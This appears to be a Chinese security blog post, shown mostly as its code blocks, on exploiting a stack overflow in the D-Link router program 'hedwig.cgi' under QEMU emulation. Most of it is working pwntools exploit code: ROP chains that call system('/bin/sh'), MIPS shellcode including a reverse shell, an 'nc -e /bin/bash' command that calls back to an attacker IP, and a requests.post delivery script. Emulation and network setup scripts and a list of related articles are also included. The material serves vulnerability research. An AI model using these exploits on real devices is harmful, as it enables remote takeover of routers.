li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)  # Alternative name is '__libc_system'addu    $gp, $t9...`

...jr      $raaddiu   $sp, 0x48

#!/bin/bash
INPUT="winmt=pwner"LEN=$(echo -n "$INPUT" | wc -c)cookie="uid=`cat payload`" echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$cookie -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin

from pwn import *context(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x7F738000 payload = b'a'*0x3cdpayload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1payload += p32(libc_base + 0x159F4) # s1  move $t9, $s0 (=> jalr $t9)payload += b'a'*4payload += p32(libc_base + 0x6DFD0) # s3  /bin/shpayload += b'a'*(4*2)payload += p32(libc_base + 0x32A98) # s6  addiu $s0, 1 (=> jalr $s1)payload += b'a'*(4*2)payload += p32(libc_base + 0x13F8C) # ra  move $a0, $s3 (=> jalr $s6) payload = b"uid=" + payloadpost_content = "winmt=pwner"io = process(b"""    qemu-mipsel -L ./ \    -0 "hedwig.cgi" \    -E REQUEST_METHOD="POST" \    -E CONTENT_LENGTH=11 \    -E CONTENT_TYPE="application/x-www-form-urlencoded" \    -E HTTP_COOKIE=\"""" + payload + b"""\" \    -E REQUEST_URI="2333" \    ./htdocs/cgibin""", shell = True)io.send(post_content)io.interactive()

from pwn import *context(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x7F738000 payload = b'a'*0x3cdpayload += b'a'*4payload += p32(libc_base + 0x436D0) # s1  move $t9, $s3 (=> lw... => jalr $t9)payload += b'a'*4payload += p32(libc_base + 0x56BD0) # s3  sleeppayload += b'a'*(4*5)payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1) payload += b'a'*0x18payload += b'a'*(4*4)payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4) shellcode = asm('''    slti $a2, $zero, -1    li $t7, 0x69622f2f    sw $t7, -12($sp)    li $t6, 0x68732f6e    sw $t6, -8($sp)    sw $zero, -4($sp)    la $a0, -12($sp)    slti $a1, $zero, -1    li $v0, 4011    syscall 0x40404''')payload += b'a'*0x18payload += shellcode payload = b"uid=" + payloadpost_content = "winmt=pwner"io = process(b"""    qemu-mipsel -L ./ \    -0 "hedwig.cgi" \    -E REQUEST_METHOD="POST" \    -E CONTENT_LENGTH=11 \    -E CONTENT_TYPE="application/x-www-form-urlencoded" \    -E HTTP_COOKIE=\"""" + payload + b"""\" \    -E REQUEST_URI="2333" \    ./htdocs/cgibin""", shell = True)io.send(post_content)io.interactive()

auto loiface lo inet loopback auto eth0iface eth0 inet dhcpup ifconfig eth0 0.0.0.0 up auto br0iface br0 inet dhcp bridge_ports eth0bridge_maxwait 0

#!/bin/shecho "Executing /etc/qemu-ifup"echo "Bringing up $1 for bridge mode..."sudo /sbin/ifconfig $1 0.0.0.0 promisc upecho "Adding $1 to br0..."sudo /sbin/brctl addif br0 $1sleep 2

sudo apt-get install qemusudo apt-get install qemu-user-staticsudo apt-get install qemu-system

#!/bin/bashsudo qemu-system-mipsel \    -M malta -kernel vmlinux-3.2.0-4-4kc-malta \    -hda debian_squeeze_mipsel_standard.qcow2 \    -append "root=/dev/sda1 console=tty0" \    -net nic,macaddr=00:16:3e:00:00:01 \    -net tap

allow-hotplug eth1iface eth1 inet dhcp

2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000    link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff    inet 192.168.192.133/24 brd 192.168.192.255 scope global eth1    inet6 fe80::216:3eff:fe00:1/64 scope link       valid_lft forever preferred_lft forever

Umask 026PIDFile /var/run/httpd.pidLogGMT On  #开启logErrorLog /log #log文件 Tuning{    NumConnections 15    BufSize 12288    InputBufSize 4096    ScriptBufSize 4096    NumHeaders 100    Timeout 60    ScriptTimeout 60} Control{    Types    {        text/html    { html htm }        text/xml    { xml }        text/plain    { txt }        image/gif    { gif }        image/jpeg    { jpg }        text/css    { css }        application/octet-stream { * }    }    Specials    {        Dump        { /dump }        CGI            { cgi }        Imagemap    { map }        Redirect    { url }    }    External    {        /usr/sbin/phpcgi { php }    }}  Server{    ServerName "Linux, HTTP/1.1, "    ServerId "1234"    Family inet    Interface eth1 #对应qemu仿真路由器系统的网卡    Address 192.168.192.133 #qemu仿真路由器系统的IP    Port "1234" #对应未被使用的端口    Virtual    {        AnyHost        Control        {            Alias /            Location /htdocs/web            IndexNames { index.php }            External            {                /usr/sbin/phpcgi { router_info.xml }                /usr/sbin/phpcgi { post_login.xml }            }        }        Control        {            Alias /HNAP1            Location /htdocs/HNAP1            External            {                /usr/sbin/hnap { hnap }            }            IndexNames { index.hnap }        }    }}

#! /bin/shsudo sysctl -w net.ipv4.ip_forward=1sudo iptables -Fsudo iptables -Xsudo iptables -t nat -Fsudo iptables -t nat -Xsudo iptables -t mangle -Fsudo iptables -t mangle -Xsudo iptables -P INPUT ACCEPTsudo iptables -P FORWARD ACCEPTsudo iptables -P OUTPUT ACCEPTsudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADEsudo iptables -I FORWARD 1 -i tap0 -j ACCEPTsudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

#!/bin/bashecho 0 > /proc/sys/kernel/randomize_va_spacecp http_conf /cp sbin/httpd /cp -rf htdocs/ /mkdir /etc_bakcp -r /etc /etc_bakrm /etc/servicescp -rf etc/ /cp lib/ld-uClibc-0.9.30.1.so  /lib/cp lib/libcrypt-0.9.30.1.so  /lib/cp lib/libc.so.0  /lib/cp lib/libgcc_s.so.1  /lib/cp lib/ld-uClibc.so.0  /lib/cp lib/libcrypt.so.0  /lib/cp lib/libgcc_s.so  /lib/cp lib/libuClibc-0.9.30.1.so  /lib/cd /rm -rf /htdocs/web/hedwig.cgirm -rf /usr/sbin/phpcgirm -rf /usr/sbin/hnapln -s /htdocs/cgibin /htdocs/web/hedwig.cgiln -s /htdocs/cgibin /usr/sbin/phpcgiln -s  /htdocs/cgibin /usr/sbin/hnap./httpd -f http_conf

#!/bin/bashrm -rf /etcmv /etc_bak/etc /etcrm -rf /etc_bak

#!/bin/bashexport CONTENT_LENGTH="11"export CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE="uid=`cat payload`"export REQUEST_METHOD="POST"export REQUEST_URI="2333"echo "winmt=pwner"|./gdbserver.mipsel 192.168.192.131:6666 /htdocs/web/hedwig.cgi#echo "winmt=pwner"|/htdocs/web/hedwig.cgiunset CONTENT_LENGTHunset CONTENT_TYPEunset HTTP_COOKIEunset REQUEST_METHODunset REQUEST_URI

from pwn import *context(os = 'linux', arch = 'mips', log_level = 'debug') cmd = b'nc -e /bin/bash 192.168.192.131 8888' libc_base = 0x77f34000 payload = b'a'*0x3cdpayload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)payload += b'a'*(4*7)payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)payload += b'a'*0x18payload += cmd fd = open("payload", "wb")fd.write(payload)fd.close()

from pwn import *context(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x77f34000 payload = b'a'*0x3cdpayload += b'a'*4payload += p32(libc_base + 0x436D0) # s1  move $t9, $s3 (=> lw... => jalr $t9)payload += b'a'*4payload += p32(libc_base + 0x56BD0) # s3  sleeppayload += b'a'*(4*5)payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1) payload += b'a'*0x18payload += b'a'*(4*4)payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4) shellcode = asm('''    slti $a0, $zero, 0xFFFF    li $v0, 4006    syscall 0x42424     slti $a0, $zero, 0x1111    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    not $a1, $t4    slti $a2, $zero, 0xFFFF    li $v0, 4183    syscall 0x42424     andi $a0, $v0, 0xFFFF    li $v0, 4041    syscall 0x42424    li $v0, 4041    syscall 0x42424     lui $a1, 0xB821 # Port: 8888    ori $a1, 0xFF01    addi $a1, $a1, 0x0101    sw $a1, -8($sp)     li $a1, 0x83C0A8C0 # IP: 192.168.192.131    sw $a1, -4($sp)    addi $a1, $sp, -8     li $t4, 0xFFFFFFEF    not $a2, $t4    li $v0, 4170    syscall 0x42424     lui $t0, 0x6962    ori $t0, $t0,0x2f2f    sw $t0, -20($sp)     lui $t0, 0x6873    ori $t0, 0x2f6e    sw $t0, -16($sp)     slti $a3, $zero, 0xFFFF    sw $a3, -12($sp)    sw $a3, -4($sp)     addi $a0, $sp, -20    addi $t0, $sp, -20    sw $t0, -8($sp)    addi $a1, $sp, -8     addiu $sp, $sp, -20     slti $a2, $zero, 0xFFFF    li $v0, 4011    syscall 0x42424''')payload += b'a'*0x18payload += shellcode fd = open("payload", "wb")fd.write(payload)fd.close()

from pwn import *import requestscontext(os = 'linux', arch = 'mips', log_level = 'debug') cmd = b'nc -e /bin/bash 192.168.192.131 8888' libc_base = 0x77f34000 payload = b'a'*0x3cdpayload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)payload += b'a'*(4*7)payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)payload += b'a'*0x18payload += cmd url = "http://192.168.192.133:1234/hedwig.cgi"data = {"winmt" : "pwner"}headers = {    "Cookie"        : b"uid=" + payload,    "Content-Type"  : "application/x-www-form-urlencoded",    "Content-Length": "11"}res = requests.post(url = url, headers = headers, data = data)print(res)

from pwn import *import requestscontext(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x77f34000 payload = b'a'*0x3cdpayload += b'a'*4payload += p32(libc_base + 0x436D0) # s1  move $t9, $s3 (=> lw... => jalr $t9)payload += b'a'*4payload += p32(libc_base + 0x56BD0) # s3  sleeppayload += b'a'*(4*5)payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1) payload += b'a'*0x18payload += b'a'*(4*4)payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4) shellcode = asm('''    slti $a0, $zero, 0xFFFF    li $v0, 4006    syscall 0x42424     slti $a0, $zero, 0x1111    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    not $a1, $t4    slti $a2, $zero, 0xFFFF    li $v0, 4183    syscall 0x42424     andi $a0, $v0, 0xFFFF    li $v0, 4041    syscall 0x42424    li $v0, 4041    syscall 0x42424     lui $a1, 0xB821 # Port: 8888    ori $a1, 0xFF01    addi $a1, $a1, 0x0101    sw $a1, -8($sp)     li $a1, 0x83C0A8C0 # IP: 192.168.192.131    sw $a1, -4($sp)    addi $a1, $sp, -8     li $t4, 0xFFFFFFEF    not $a2, $t4    li $v0, 4170    syscall 0x42424     lui $t0, 0x6962    ori $t0, $t0,0x2f2f    sw $t0, -20($sp)     lui $t0, 0x6873    ori $t0, 0x2f6e    sw $t0, -16($sp)     slti $a3, $zero, 0xFFFF    sw $a3, -12($sp)    sw $a3, -4($sp)     addi $a0, $sp, -20    addi $t0, $sp, -20    sw $t0, -8($sp)    addi $a1, $sp, -8     addiu $sp, $sp, -20     slti $a2, $zero, 0xFFFF    li $v0, 4011    syscall 0x42424''')payload += b'a'*0x18payload += shellcode url = "http://192.168.192.133:1234/hedwig.cgi"data = {"winmt" : "pwner"}headers = {    "Cookie"        : b"uid=" + payload,    "Content-Type"  : "application/x-www-form-urlencoded",    "Content-Length": "11"}res = requests.post(url = url, headers = headers, data = data)print(res)

# 往期推荐

1.Typora解密之跳动的二进制

2.海莲花glitch样本去混淆

3.反射式DLL注入实现

4.angr符号变量转LLVM IR

5.记录一次对某CMS漏洞挖掘

6.Android APP漏洞之战—验证码漏洞挖掘详解